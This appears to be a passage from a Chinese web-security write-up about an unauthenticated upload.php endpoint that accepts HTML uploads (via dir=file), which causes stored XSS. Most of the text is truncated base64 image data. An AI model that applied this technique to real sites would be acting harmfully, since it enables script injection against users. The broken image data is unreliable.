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IiIiIiIiISq2sqVGIFgvDMNDS0oJUKoXNmzdj7dq1rmbaLzRFUaDrOm7fvo3R0dHAU94QEREREREREREtRgyEExVgfSnnYtDY2LjQRSAiIiIiIiIiIqo4Zc0RTkRERERERERERERUbgyEExEREREREREREdGSxkA4ERERERERERERES1pDIQTERERERERERER0ZLGQDgRERERERERERERLWkMhBMRERERERERERHRksZAOJFPbW1tGB0dRXd390IXJXCjo6MYHR1d6GIQEREREREREREF4smFLsBCicViaG9vd7VsY2NjaQtDRERERERERERERCXz5OzsLADg4cOHePjw4QIXp3zu378PTdPMf4dCIciyDAC2z4mIiIiIiIiIiIhocXtsZ4Sn02mk02nz39YZ4i0tLQtVLCIiIiIiIiIiIiIKGHOEExEREREREREREdGS9tjOCPdKzBg3DAOJRCLn7wcPHkRzczMmJydx6NAh23eGhobw1Vdf4Y033oAkSchkMpiamkJXVxcMw8hZV1tbG+rq6iBJEgBA13WMjIygp6cnb/lUVUVHRwdmZmbQ2trquF6/3Janu7sbiqKYy+zevRtHjx5FfX09QqEQdF3HmTNnzJn4XpfPVx5N0/Dxxx+jv7+/qPIUI5VKIZFIIBQKFdy/7733HsLhMAAgk8lA13WMj4/n3beSJGHv3r1Yt26duS2CpmmOTy94aT+qqmLnzp1mmSYnJ/HOO+94rwAiIiIiIiIiIqIKxhnhLg0PD8MwDEiS5BgI37BhAwDgT3/6U87f1q1bhwMHDuC7776DpmkIhUKIRCLo6urKWbazsxPxeBySJEHTNGiaBlmWkUwm0dbWlrd8W7duNfOc19bW+t/QIsozPT1t5leXZRmpVArRaBS6rsMwDMiyjMOHD/te3qk8uq5DURQcOHAAqVSqqPL4FQqFkEwmMTMzY/6e2L8iGC18++23Zj0+ePAAiqIgmUyiu7vbcd1dXV2Ix+NQFAW6rpvf1TQN09PTOct72V/i5kk4HEYmk4GmaVi7di3efvvtouuEiIiIiIiIiIioknBGuAeXL19Gc3MzXn75ZdvsY0mSzBm1ly5dyvmeoijo7e01Z+QqioKTJ0+awVnxeSKRQCQSgWEY6Line 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<h2 id=toc-1><strong>前台文件上传漏洞造成存储型XSS</strong></h2>
<p>寻思还有个未鉴权文件upload.php和upfile.php文件不能浪费啊,可好像都白名单写死了。但是在upload.php发现了端倪,这可以传html。<br>
<a id=img8 href=https://xzfile.aliyuncs.com/media/upload/picture/20240219095126-645232d4-cec9-1.png><img src="data:image/png;base64,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这里要手动传参dir=file,要不然会默认当成image类型处理<br>
<a id=img9 href=https://xzfile.aliyuncs.com/media/upload/picture/20240219095139-6c409fc6-cec9-1.png><img src="data:image/png;base64,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 truncated
<a id=img10 href=https://xzfile.aliyuncs.com/media/upload/picture/20240219095148-7172440e-cec9-1.png><img src="data:image/png;base64,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